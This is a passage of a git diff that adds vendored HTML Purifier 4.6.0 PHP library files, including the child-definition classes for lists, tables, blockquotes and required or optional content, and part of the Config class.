+ foreach ($children as $node) {
+ if (!empty($node->is_whitespace)) {
+ continue;
+ }
+ $list_of_children .= $node->name . ',';
+ }
+ // add leading comma to deal with stray comma declarations
+ $list_of_children = ',' . rtrim($list_of_children, ',');
+ $okay =
+ preg_match(
+ '/^,?' . $this->_pcre_regex . '$/',
+ $list_of_children
+ );
+ return (bool)$okay;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php
new file mode 100644
index 000000000..a8a6cbdd2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * Definition that disallows all elements.
+ * @warning validateChildren() in this class is actually never called, because
+ * empty elements are corrected in HTMLPurifier_Strategy_MakeWellFormed
+ * before child definitions are parsed in earnest by
+ * HTMLPurifier_Strategy_FixNesting.
+ */
+class HTMLPurifier_ChildDef_Empty extends HTMLPurifier_ChildDef
+{
+ /**
+ * @type bool
+ */
+ public $allow_empty = true;
+
+ /**
+ * @type string
+ */
+ public $type = 'empty';
+
+ public function __construct()
+ {
+ }
+
+ /**
+ * @param HTMLPurifier_Node[] $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ return array();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/List.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/List.php
new file mode 100644
index 000000000..891b9f6f5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/List.php
@@ -0,0 +1,86 @@
+<?php
+
+/**
+ * Definition for list containers ul and ol.
+ *
+ * What does this do? The big thing is to handle ol/ul at the top
+ * level of list nodes, which should be handled specially by /folding/
+ * them into the previous list node. We generally shouldn't ever
+ * see other disallowed elements, because the autoclose behavior
+ * in MakeWellFormed handles it.
+ */
+class HTMLPurifier_ChildDef_List extends HTMLPurifier_ChildDef
+{
+ /**
+ * @type string
+ */
+ public $type = 'list';
+ /**
+ * @type array
+ */
+ // lying a little bit, so that we can handle ul and ol ourselves
+ // XXX: This whole business with 'wrap' is all a bit unsatisfactory
+ public $elements = array('li' => true, 'ul' => true, 'ol' => true);
+
+ /**
+ * @param array $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ // Flag for subclasses
+ $this->whitespace = false;
+
+ // if there are no tokens, delete parent node
+ if (empty($children)) {
+ return false;
+ }
+
+ // the new set of children
+ $result = array();
+
+ // a little sanity check to make sure it's not ALL whitespace
+ $all_whitespace = true;
+
+ $current_li = false;
+
+ foreach ($children as $node) {
+ if (!empty($node->is_whitespace)) {
+ $result[] = $node;
+ continue;
+ }
+ $all_whitespace = false; // phew, we're not talking about whitespace
+
+ if ($node->name === 'li') {
+ // good
+ $current_li = $node;
+ $result[] = $node;
+ } else {
+ // we want to tuck this into the previous li
+ // Invariant: we expect the node to be ol/ul
+ // ToDo: Make this more robust in the case of not ol/ul
+ // by distinguishing between existing li and li created
+ // to handle non-list elements; non-list elements should
+ // not be appended to an existing li; only li created
+ // for non-list. This distinction is not currently made.
+ if ($current_li === false) {
+ $current_li = new HTMLPurifier_Node_Element('li');
+ $result[] = $current_li;
+ }
+ $current_li->children[] = $node;
+ $current_li->empty = false; // XXX fascinating! Check for this error elsewhere ToDo
+ }
+ }
+ if (empty($result)) {
+ return false;
+ }
+ if ($all_whitespace) {
+ return false;
+ }
+ return $result;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php
new file mode 100644
index 000000000..b9468063b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Definition that allows a set of elements, and allows no children.
+ * @note This is a hack to reuse code from HTMLPurifier_ChildDef_Required,
+ * really, one shouldn't inherit from the other. Only altered behavior
+ * is to overload a returned false with an array. Thus, it will never
+ * return false.
+ */
+class HTMLPurifier_ChildDef_Optional extends HTMLPurifier_ChildDef_Required
+{
+ /**
+ * @type bool
+ */
+ public $allow_empty = true;
+
+ /**
+ * @type string
+ */
+ public $type = 'optional';
+
+ /**
+ * @param array $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ $result = parent::validateChildren($children, $config, $context);
+ // we assume that $children is not modified
+ if ($result === false) {
+ if (empty($children)) {
+ return true;
+ } elseif ($this->whitespace) {
+ return $children;
+ } else {
+ return array();
+ }
+ }
+ return $result;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php
new file mode 100644
index 000000000..0d1c8f5f3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php
@@ -0,0 +1,118 @@
+<?php
+
+/**
+ * Definition that allows a set of elements, but disallows empty children.
+ */
+class HTMLPurifier_ChildDef_Required extends HTMLPurifier_ChildDef
+{
+ /**
+ * Lookup table of allowed elements.
+ * @type array
+ */
+ public $elements = array();
+
+ /**
+ * Whether or not the last passed node was all whitespace.
+ * @type bool
+ */
+ protected $whitespace = false;
+
+ /**
+ * @param array|string $elements List of allowed element names (lowercase).
+ */
+ public function __construct($elements)
+ {
+ if (is_string($elements)) {
+ $elements = str_replace(' ', '', $elements);
+ $elements = explode('|', $elements);
+ }
+ $keys = array_keys($elements);
+ if ($keys == array_keys($keys)) {
+ $elements = array_flip($elements);
+ foreach ($elements as $i => $x) {
+ $elements[$i] = true;
+ if (empty($i)) {
+ unset($elements[$i]);
+ } // remove blank
+ }
+ }
+ $this->elements = $elements;
+ }
+
+ /**
+ * @type bool
+ */
+ public $allow_empty = false;
+
+ /**
+ * @type string
+ */
+ public $type = 'required';
+
+ /**
+ * @param array $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ // Flag for subclasses
+ $this->whitespace = false;
+
+ // if there are no tokens, delete parent node
+ if (empty($children)) {
+ return false;
+ }
+
+ // the new set of children
+ $result = array();
+
+ // whether or not parsed character data is allowed
+ // this controls whether or not we silently drop a tag
+ // or generate escaped HTML from it
+ $pcdata_allowed = isset($this->elements['#PCDATA']);
+
+ // a little sanity check to make sure it's not ALL whitespace
+ $all_whitespace = true;
+
+ $stack = array_reverse($children);
+ while (!empty($stack)) {
+ $node = array_pop($stack);
+ if (!empty($node->is_whitespace)) {
+ $result[] = $node;
+ continue;
+ }
+ $all_whitespace = false; // phew, we're not talking about whitespace
+
+ if (!isset($this->elements[$node->name])) {
+ // special case text
+ // XXX One of these ought to be redundant or something
+ if ($pcdata_allowed && $node instanceof HTMLPurifier_Node_Text) {
+ $result[] = $node;
+ continue;
+ }
+ // spill the child contents in
+ // ToDo: Make configurable
+ if ($node instanceof HTMLPurifier_Node_Element) {
+ for ($i = count($node->children) - 1; $i >= 0; $i--) {
+ $stack[] = $node->children[$i];
+ }
+ continue;
+ }
+ continue;
+ }
+ $result[] = $node;
+ }
+ if (empty($result)) {
+ return false;
+ }
+ if ($all_whitespace) {
+ $this->whitespace = true;
+ return false;
+ }
+ return $result;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php
new file mode 100644
index 000000000..3270a46e1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php
@@ -0,0 +1,110 @@
+<?php
+
+/**
+ * Takes the contents of blockquote when in strict and reformats for validation.
+ */
+class HTMLPurifier_ChildDef_StrictBlockquote extends HTMLPurifier_ChildDef_Required
+{
+ /**
+ * @type array
+ */
+ protected $real_elements;
+
+ /**
+ * @type array
+ */
+ protected $fake_elements;
+
+ /**
+ * @type bool
+ */
+ public $allow_empty = true;
+
+ /**
+ * @type string
+ */
+ public $type = 'strictblockquote';
+
+ /**
+ * @type bool
+ */
+ protected $init = false;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return array
+ * @note We don't want MakeWellFormed to auto-close inline elements since
+ * they might be allowed.
+ */
+ public function getAllowedElements($config)
+ {
+ $this->init($config);
+ return $this->fake_elements;
+ }
+
+ /**
+ * @param array $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ $this->init($config);
+
+ // trick the parent class into thinking it allows more
+ $this->elements = $this->fake_elements;
+ $result = parent::validateChildren($children, $config, $context);
+ $this->elements = $this->real_elements;
+
+ if ($result === false) {
+ return array();
+ }
+ if ($result === true) {
+ $result = $children;
+ }
+
+ $def = $config->getHTMLDefinition();
+ $block_wrap_name = $def->info_block_wrapper;
+ $block_wrap = false;
+ $ret = array();
+
+ foreach ($result as $node) {
+ if ($block_wrap === false) {
+ if (($node instanceof HTMLPurifier_Node_Text && !$node->is_whitespace) ||
+ ($node instanceof HTMLPurifier_Node_Element && !isset($this->elements[$node->name]))) {
+ $block_wrap = new HTMLPurifier_Node_Element($def->info_block_wrapper);
+ $ret[] = $block_wrap;
+ }
+ } else {
+ if ($node instanceof HTMLPurifier_Node_Element && isset($this->elements[$node->name])) {
+ $block_wrap = false;
+
+ }
+ }
+ if ($block_wrap) {
+ $block_wrap->children[] = $node;
+ } else {
+ $ret[] = $node;
+ }
+ }
+ return $ret;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ private function init($config)
+ {
+ if (!$this->init) {
+ $def = $config->getHTMLDefinition();
+ // allow all inline elements
+ $this->real_elements = $this->elements;
+ $this->fake_elements = $def->info_content_sets['Flow'];
+ $this->fake_elements['#PCDATA'] = true;
+ $this->init = true;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php
new file mode 100644
index 000000000..3e4a0f218
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php
@@ -0,0 +1,224 @@
+<?php
+
+/**
+ * Definition for tables. The general idea is to extract out all of the
+ * essential bits, and then reconstruct it later.
+ *
+ * This is a bit confusing, because the DTDs and the W3C
+ * validators seem to disagree on the appropriate definition. The
+ * DTD claims:
+ *
+ * (CAPTION?, (COL*|COLGROUP*), THEAD?, TFOOT?, TBODY+)
+ *
+ * But actually, the HTML4 spec then has this to say:
+ *
+ * The TBODY start tag is always required except when the table
+ * contains only one table body and no table head or foot sections.
+ * The TBODY end tag may always be safely omitted.
+ *
+ * So the DTD is kind of wrong. The validator is, unfortunately, kind
+ * of on crack.
+ *
+ * The definition changed again in XHTML1.1; and in my opinion, this
+ * formulation makes the most sense.
+ *
+ * caption?, ( col* | colgroup* ), (( thead?, tfoot?, tbody+ ) | ( tr+ ))
+ *
+ * Essentially, we have two modes: thead/tfoot/tbody mode, and tr mode.
+ * If we encounter a thead, tfoot or tbody, we are placed in the former
+ * mode, and we *must* wrap any stray tr segments with a tbody. But if
+ * we don't run into any of them, just have tr tags is OK.
+ */
+class HTMLPurifier_ChildDef_Table extends HTMLPurifier_ChildDef
+{
+ /**
+ * @type bool
+ */
+ public $allow_empty = false;
+
+ /**
+ * @type string
+ */
+ public $type = 'table';
+
+ /**
+ * @type array
+ */
+ public $elements = array(
+ 'tr' => true,
+ 'tbody' => true,
+ 'thead' => true,
+ 'tfoot' => true,
+ 'caption' => true,
+ 'colgroup' => true,
+ 'col' => true
+ );
+
+ public function __construct()
+ {
+ }
+
+ /**
+ * @param array $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ if (empty($children)) {
+ return false;
+ }
+
+ // only one of these elements is allowed in a table
+ $caption = false;
+ $thead = false;
+ $tfoot = false;
+
+ // whitespace
+ $initial_ws = array();
+ $after_caption_ws = array();
+ $after_thead_ws = array();
+ $after_tfoot_ws = array();
+
+ // as many of these as you want
+ $cols = array();
+ $content = array();
+
+ $tbody_mode = false; // if true, then we need to wrap any stray
+ // <tr>s with a <tbody>.
+
+ $ws_accum =& $initial_ws;
+
+ foreach ($children as $node) {
+ if ($node instanceof HTMLPurifier_Node_Comment) {
+ $ws_accum[] = $node;
+ continue;
+ }
+ switch ($node->name) {
+ case 'tbody':
+ $tbody_mode = true;
+ // fall through
+ case 'tr':
+ $content[] = $node;
+ $ws_accum =& $content;
+ break;
+ case 'caption':
+ // there can only be one caption!
+ if ($caption !== false) break;
+ $caption = $node;
+ $ws_accum =& $after_caption_ws;
+ break;
+ case 'thead':
+ $tbody_mode = true;
+ // XXX This breaks rendering properties with
+ // Firefox, which never floats a <thead> to
+ // the top. Ever. (Our scheme will float the
+ // first <thead> to the top.) So maybe
+ // <thead>s that are not first should be
+ // turned into <tbody>? Very tricky, indeed.
+ if ($thead === false) {
+ $thead = $node;
+ $ws_accum =& $after_thead_ws;
+ } else {
+ // Oops, there's a second one! What
+ // should we do? Current behavior is to
+ // transmutate the first and last entries into
+ // tbody tags, and then put into content.
+ // Maybe a better idea is to *attach
+ // it* to the existing thead or tfoot?
+ // We don't do this, because Firefox
+ // doesn't float an extra tfoot to the
+ // bottom like it does for the first one.
+ $node->name = 'tbody';
+ $content[] = $node;
+ $ws_accum =& $content;
+ }
+ break;
+ case 'tfoot':
+ // see above for some aveats
+ $tbody_mode = true;
+ if ($tfoot === false) {
+ $tfoot = $node;
+ $ws_accum =& $after_tfoot_ws;
+ } else {
+ $node->name = 'tbody';
+ $content[] = $node;
+ $ws_accum =& $content;
+ }
+ break;
+ case 'colgroup':
+ case 'col':
+ $cols[] = $node;
+ $ws_accum =& $cols;
+ break;
+ case '#PCDATA':
+ // How is whitespace handled? We treat is as sticky to
+ // the *end* of the previous element. So all of the
+ // nonsense we have worked on is to keep things
+ // together.
+ if (!empty($node->is_whitespace)) {
+ $ws_accum[] = $node;
+ }
+ break;
+ }
+ }
+
+ if (empty($content)) {
+ return false;
+ }
+
+ $ret = $initial_ws;
+ if ($caption !== false) {
+ $ret[] = $caption;
+ $ret = array_merge($ret, $after_caption_ws);
+ }
+ if ($cols !== false) {
+ $ret = array_merge($ret, $cols);
+ }
+ if ($thead !== false) {
+ $ret[] = $thead;
+ $ret = array_merge($ret, $after_thead_ws);
+ }
+ if ($tfoot !== false) {
+ $ret[] = $tfoot;
+ $ret = array_merge($ret, $after_tfoot_ws);
+ }
+
+ if ($tbody_mode) {
+ // we have to shuffle tr into tbody
+ $current_tr_tbody = null;
+
+ foreach($content as $node) {
+ switch ($node->name) {
+ case 'tbody':
+ $current_tr_tbody = null;
+ $ret[] = $node;
+ break;
+ case 'tr':
+ if ($current_tr_tbody === null) {
+ $current_tr_tbody = new HTMLPurifier_Node_Element('tbody');
+ $ret[] = $current_tr_tbody;
+ }
+ $current_tr_tbody->children[] = $node;
+ break;
+ case '#PCDATA':
+ assert($node->is_whitespace);
+ if ($current_tr_tbody === null) {
+ $ret[] = $node;
+ } else {
+ $current_tr_tbody->children[] = $node;
+ }
+ break;
+ }
+ }
+ } else {
+ $ret = array_merge($ret, $content);
+ }
+
+ return $ret;
+
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php
new file mode 100644
index 000000000..7ada59b94
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php
@@ -0,0 +1,911 @@
+<?php
+
+/**
+ * Configuration object that triggers customizable behavior.
+ *
+ * @warning This class is strongly defined: that means that the class
+ * will fail if an undefined directive is retrieved or set.
+ *
+ * @note Many classes that could (although many times don't) use the
+ * configuration object make it a mandatory parameter. This is
+ * because a configuration object should always be forwarded,
+ * otherwise, you run the risk of missing a parameter and then
+ * being stumped when a configuration directive doesn't work.
+ *
+ * @todo Reconsider some of the public member variables
+ */
+class HTMLPurifier_Config
+{
+
+ /**
+ * HTML Purifier's version
+ * @type string
+ */
+ public $version = '4.6.0';
+
+ /**
+ * Whether or not to automatically finalize
+ * the object if a read operation is done.
+ * @type bool
+ */
+ public $autoFinalize = true;
+
+ // protected member variables
+
+ /**
+ * Namespace indexed array of serials for specific namespaces.
+ * @see getSerial() for more info.
+ * @type string[]
+ */
+ protected $serials = array();
+
+ /**
+ * Serial for entire configuration object.
+ * @type string
+ */
+ protected $serial;
+
+ /**
+ * Parser for variables.
+ * @type HTMLPurifier_VarParser_Flexible
+ */
+ protected $parser = null;
+
+ /**
+ * Reference HTMLPurifier_ConfigSchema for value checking.
+ * @type HTMLPurifier_ConfigSchema
+ * @note This is public for introspective purposes. Please don't
+ * abuse!
+ */
+ public $def;
+
+ /**
+ * Indexed array of definitions.
+ * @type HTMLPurifier_Definition[]
+ */
+ protected $definitions;
+
+ /**
+ * Whether or not config is finalized.
+ * @type bool
+ */
+ protected $finalized = false;
+
+ /**
+ * Property list containing configuration directives.
+ * @type array
+ */
+ protected $plist;
+
+ /**
+ * Whether or not a set is taking place due to an alias lookup.
+ * @type bool
+ */
+ private $aliasMode;
+
+ /**
+ * Set to false if you do not want line and file numbers in errors.
+ * (useful when unit testing). This will also compress some errors
+ * and exceptions.
+ * @type bool
+ */
+ public $chatty = true;
+
+ /**
+ * Current lock; only gets to this namespace are allowed.
+ * @type string
+ */
+ private $lock;
+
+ /**
+ * Constructor
+ * @param HTMLPurifier_ConfigSchema $definition ConfigSchema that defines
+ * what directives are allowed.
+ * @param HTMLPurifier_PropertyList $parent
+ */
+ public function __construct($definition, $parent = null)
+ {
+ $parent = $parent ? $parent : $definition->defaultPlist;
+ $this->plist = new HTMLPurifier_PropertyList($parent);
+ $this->def = $definition; // keep a copy around for checking
+ $this->parser = new HTMLPurifier_VarParser_Flexible();
+ }
+
+ /**
+ * Convenience constructor that creates a config object based on a mixed var
+ * @param mixed $config Variable that defines the state of the config
+ * object. Can be: a HTMLPurifier_Config() object,
+ * an array of directives based on loadArray(),
+ * or a string filename of an ini file.
+ * @param HTMLPurifier_ConfigSchema $schema Schema object
+ * @return HTMLPurifier_Config Configured object
+ */
+ public static function create($config, $schema = null)
+ {
+ if ($config instanceof HTMLPurifier_Config) {
+ // pass-through
+ return $config;
+ }
+ if (!$schema) {
+ $ret = HTMLPurifier_Config::createDefault();
+ } else {
+ $ret = new HTMLPurifier_Config($schema);
+ }
+ if (is_string($config)) {
+ $ret->loadIni($config);
+ } elseif (is_array($config)) $ret->loadArray($config);
+ return $ret;
+ }
+
+ /**
+ * Creates a new config object that inherits from a previous one.
+ * @param HTMLPurifier_Config $config Configuration object to inherit from.
+ * @return HTMLPurifier_Config object with $config as its parent.
+ */
+ public static function inherit(HTMLPurifier_Config $config)
+ {
+ return new HTMLPurifier_Config($config->def, $config->plist);
+ }
+
+ /**
+ * Convenience constructor that creates a default configuration object.
+ * @return HTMLPurifier_Config default object.
+ */
+ public static function createDefault()
+ {
+ $definition = HTMLPurifier_ConfigSchema::instance();
+ $config = new HTMLPurifier_Config($definition);
+ return $config;
+ }
+
+ /**
+ * Retrieves a value from the configuration.
+ *
+ * @param string $key String key
+ * @param mixed $a
+ *
+ * @return mixed
+ */
+ public function get($key, $a = null)
+ {
+ if ($a !== null) {
+ $this->triggerError(
+ "Using deprecated API: use \$config->get('$key.$a') instead",
+ E_USER_WARNING
+ );
+ $key = "$key.$a";
+ }
+ if (!$this->finalized) {
+ $this->autoFinalize();
+ }
+ if (!isset($this->def->info[$key])) {
+ // can't add % due to SimpleTest bug
+ $this->triggerError(
+ 'Cannot retrieve value of undefined directive ' . htmlspecialchars($key),
+ E_USER_WARNING
+ );
+ return;
+ }
+ if (isset($this->def->info[$key]->isAlias)) {
+ $d = $this->def->info[$key];
+ $this->triggerError(
+ 'Cannot get value from aliased directive, use real name ' . $d->key,
+ E_USER_ERROR
+ );
+ return;
+ }
+ if ($this->lock) {
+ list($ns) = explode('.', $key);
+ if ($ns !== $this->lock) {
+ $this->triggerError(
+ 'Cannot get value of namespace ' . $ns . ' when lock for ' .
+ $this->lock .
+ ' is active, this probably indicates a Definition setup method ' .
+ 'is accessing directives that are not within its namespace',
+ E_USER_ERROR
+ );
+ return;
+ }
+ }
+ return $this->plist->get($key);
+ }
+
+ /**
+ * Retrieves an array of directives to values from a given namespace
+ *
+ * @param string $namespace String namespace
+ *
+ * @return array
+ */
+ public function getBatch($namespace)
+ {
+ if (!$this->finalized) {
+ $this->autoFinalize();
+ }
+ $full = $this->getAll();
+ if (!isset($full[$namespace])) {
+ $this->triggerError(
+ 'Cannot retrieve undefined namespace ' .
+ htmlspecialchars($namespace),
+ E_USER_WARNING
+ );
+ return;
+ }
+ return $full[$namespace];
+ }
+
+ /**
+ * Returns a SHA-1 signature of a segment of the configuration object
+ * that uniquely identifies that particular configuration
+ *
+ * @param string $namespace Namespace to get serial for
+ *
+ * @return string
+ * @note Revision is handled specially and is removed from the batch
+ * before processing!
+ */
+ public function getBatchSerial($namespace)
+ {
+ if (empty($this->serials[$namespace])) {
+ $batch = $this->getBatch($namespace);
+ unset($batch['DefinitionRev']);
+ $this->serials[$namespace] = sha1(serialize($batch));
+ }
+ return $this->serials[$namespace];
+ }
+
+ /**
+ * Returns a SHA-1 signature for the entire configuration object
+ * that uniquely identifies that particular configuration
+ *
+ * @return string
+ */
+ public function getSerial()
+ {
+ if (empty($this->serial)) {
+ $this->serial = sha1(serialize($this->getAll()));
+ }
+ return $this->serial;
+ }
+
+ /**
+ * Retrieves all directives, organized by namespace
+ *
+ * @warning This is a pretty inefficient function, avoid if you can
+ */
+ public function getAll()
+ {
+ if (!$this->finalized) {
+ $this->autoFinalize();
+ }
+ $ret = array();
+ foreach ($this->plist->squash() as $name => $value) {
+ list($ns, $key) = explode('.', $name, 2);
+ $ret[$ns][$key] = $value;
+ }
+ return $ret;
+ }
+
+ /**
+ * Sets a value to configuration.
+ *
+ * @param string $key key
+ * @param mixed $value value
+ * @param mixed $a
+ */
+ public function set($key, $value, $a = null)
+ {
+ if (strpos($key, '.') === false) {
+ $namespace = $key;
+ $directive = $value;
+ $value = $a;
+ $key = "$key.$directive";
+ $this->triggerError("Using deprecated API: use \$config->set('$key', ...) instead", E_USER_NOTICE);
+ } else {
+ list($namespace) = explode('.', $key);
+ }
+ if ($this->isFinalized('Cannot set directive after finalization')) {
+ return;
+ }
+ if (!isset($this->def->info[$key])) {
+ $this->triggerError(
+ 'Cannot set undefined directive ' . htmlspecialchars($key) . ' to value',
+ E_USER_WARNING
+ );
+ return;
+ }
+ $def = $this->def->info[$key];
+
+ if (isset($def->isAlias)) {
+ if ($this->aliasMode) {
+ $this->triggerError(
+ 'Double-aliases not allowed, please fix '.
+ 'ConfigSchema bug with' . $key,
+ E_USER_ERROR
+ );
+ return;
+ }
+ $this->aliasMode = true;
+ $this->set($def->key, $value);
+ $this->aliasMode = false;
+ $this->triggerError("$key is an alias, preferred directive name is {$def->key}", E_USER_NOTICE);
+ return;
+ }
+
+ // Raw type might be negative when using the fully optimized form
+ // of stdclass, which indicates allow_null == true
+ $rtype = is_int($def) ? $def : $def->type;
+ if ($rtype < 0) {
+ $type = -$rtype;
+ $allow_null = true;
+ } else {
+ $type = $rtype;
+ $allow_null = isset($def->allow_null);
+ }
+
+ try {
+ $value = $this->parser->parse($value, $type, $allow_null);
+ } catch (HTMLPurifier_VarParserException $e) {
+ $this->triggerError(
+ 'Value for ' . $key . ' is of invalid type, should be ' .
+ HTMLPurifier_VarParser::getTypeName($type),
+ E_USER_WARNING
+ );
+ return;
+ }
+ if (is_string($value) && is_object($def)) {
+ // resolve value alias if defined
+ if (isset($def->aliases[$value])) {
+ $value = $def->aliases[$value];
+ }
+ // check to see if the value is allowed
+ if (isset($def->allowed) && !isset($def->allowed[$value])) {
+ $this->triggerError(
+ 'Value not supported, valid values are: ' .
+ $this->_listify($def->allowed),
+ E_USER_WARNING
+ );
+ return;
+ }
+ }
+ $this->plist->set($key, $value);
+
+ // reset definitions if the directives they depend on changed
+ // this is a very costly process, so it's discouraged
+ // with finalization
+ if ($namespace == 'HTML' || $namespace == 'CSS' || $namespace == 'URI') {
+ $this->definitions[$namespace] = null;
+ }
+
+ $this->serials[$namespace] = false;
+ }
+
+ /**
+ * Convenience function for error reporting
+ *
+ * @param array $lookup
+ *
+ * @return string
+ */
+ private function _listify($lookup)
+ {
+ $list = array();
+ foreach ($lookup as $name => $b) {
+ $list[] = $name;
+ }
+ return implode(', ', $list);
+ }
+
+ /**
+ * Retrieves object reference to the HTML definition.
+ *
+ * @param bool $raw Return a copy that has not been setup yet. Must be
+ * called before it's been setup, otherwise won't work.
+ * @param bool $optimized If true, this method may return null, to
+ * indicate that a cached version of the modified
+ * definition object is available and no further edits
+ * are necessary. Consider using
+ * maybeGetRawHTMLDefinition, which is more explicitly
+ * named, instead.
+ *
+ * @return HTMLPurifier_HTMLDefinition
+ */
+ public function getHTMLDefinition($raw = false, $optimized = false)
+ {
+ return $this->getDefinition('HTML', $raw, $optimized);
+ }
+
+ /**
+ * Retrieves object reference to the CSS definition
+ *
+ * @param bool $raw Return a copy that has not been setup yet. Must be
+ * called before it's been setup, otherwise won't work.
+ * @param bool $optimized If true, this method may return null, to
+ * indicate that a cached version of the modified
+ * definition object is available and no further edits
+ * are necessary. Consider using
+ * maybeGetRawCSSDefinition, which is more explicitly
+ * named, instead.
+ *
+ * @return HTMLPurifier_CSSDefinition
+ */
+ public function getCSSDefinition($raw = false, $optimized = false)
+ {
+ return $this->getDefinition('CSS', $raw, $optimized);
+ }
+
+ /**
+ * Retrieves object reference to the URI definition
+ *
+ * @param bool $raw Return a copy that has not been setup yet. Must be
+ * called before it's been setup, otherwise won't work.
+ * @param bool $optimized If true, this method may return null, to
+ * indicate that a cached version of the modified
+ * definition object is available and no further edits
+ * are necessary. Consider using
+ * maybeGetRawURIDefinition, which is more explicitly
+ * named, instead.
+ *
+ * @return HTMLPurifier_URIDefinition
+ */
+ public function getURIDefinition($raw = false, $optimized = false)
+ {
+ return $this->getDefinition('URI', $raw, $optimized);
+ }
+
+ /**
+ * Retrieves a definition
+ *
+ * @param string $type Type of definition: HTML, CSS, etc
+ * @param bool $raw Whether or not definition should be returned raw
+ * @param bool $optimized Only has an effect when $raw is true. Whether
+ * or not to return null if the result is already present in
+ * the cache. This is off by default for backwards
+ * compatibility reasons, but you need to do things this
+ * way in order to ensure that caching is done properly.
+ * Check out enduser-customize.html for more details.
+ * We probably won't ever change this default, as much as the
+ * maybe semantics is the "right thing to do."
+ *
+ * @throws HTMLPurifier_Exception
+ * @return HTMLPurifier_Definition
+ */
+ public function getDefinition($type, $raw = false, $optimized = false)
+ {
+ if ($optimized && !$raw) {
+ throw new HTMLPurifier_Exception("Cannot set optimized = true when raw = false");
+ }
+ if (!$this->finalized) {
+ $this->autoFinalize();
+ }
+ // temporarily suspend locks, so we can handle recursive definition calls
+ $lock = $this->lock;
+ $this->lock = null;
+ $factory = HTMLPurifier_DefinitionCacheFactory::instance();
+ $cache = $factory->create($type, $this);
+ $this->lock = $lock;
+ if (!$raw) {
+ // full definition
+ // ---------------
+ // check if definition is in memory
+ if (!empty($this->definitions[$type])) {
+ $def = $this->definitions[$type];
+ // check if the definition is setup
+ if ($def->setup) {
+ return $def;
+ } else {
+ $def->setup($this);
+ if ($def->optimized) {
+ $cache->add($def, $this);
+ }
+ return $def;
+ }
+ }
+ // check if definition is in cache
+ $def = $cache->get($this);
+ if ($def) {
+ // definition in cache, save to memory and return it
+ $this->definitions[$type] = $def;
+ return $def;
+ }
+ // initialize it
+ $def = $this->initDefinition($type);
+ // set it up
+ $this->lock = $type;
+ $def->setup($this);
+ $this->lock = null;
+ // save in cache
+ $cache->add($def, $this);
+ // return it
+ return $def;
+ } else {
+ // raw definition
+ // --------------
+ // check preconditions
+ $def = null;
+ if ($optimized) {
+ if (is_null($this->get($type . '.DefinitionID'))) {
+ // fatally error out if definition ID not set
+ throw new HTMLPurifier_Exception(
+ "Cannot retrieve raw version without specifying %$type.DefinitionID"
+ );
+ }
+ }
+ if (!empty($this->definitions[$type])) {
+ $def = $this->definitions[$type];
+ if ($def->setup && !$optimized) {
+ $extra = $this->chatty ?
+ " (try moving this code block earlier in your initialization)" :
+ "";
+ throw new HTMLPurifier_Exception(
+ "Cannot retrieve raw definition after it has already been setup" .
+ $extra
+ );
+ }
+ if ($def->optimized === null) {
+ $extra = $this->chatty ? " (try flushing your cache)" : "";
+ throw new HTMLPurifier_Exception(
+ "Optimization status of definition is unknown" . $extra
+ );
+ }
+ if ($def->optimized !== $optimized) {
+ $msg = $optimized ? "optimized" : "unoptimized";
+ $extra = $this->chatty ?
+ " (this backtrace is for the first inconsistent call, which was for a $msg raw definition)"
+ : "";
+ throw new HTMLPurifier_Exception(
+ "Inconsistent use of optimized and unoptimized raw definition retrievals" . $extra
+ );
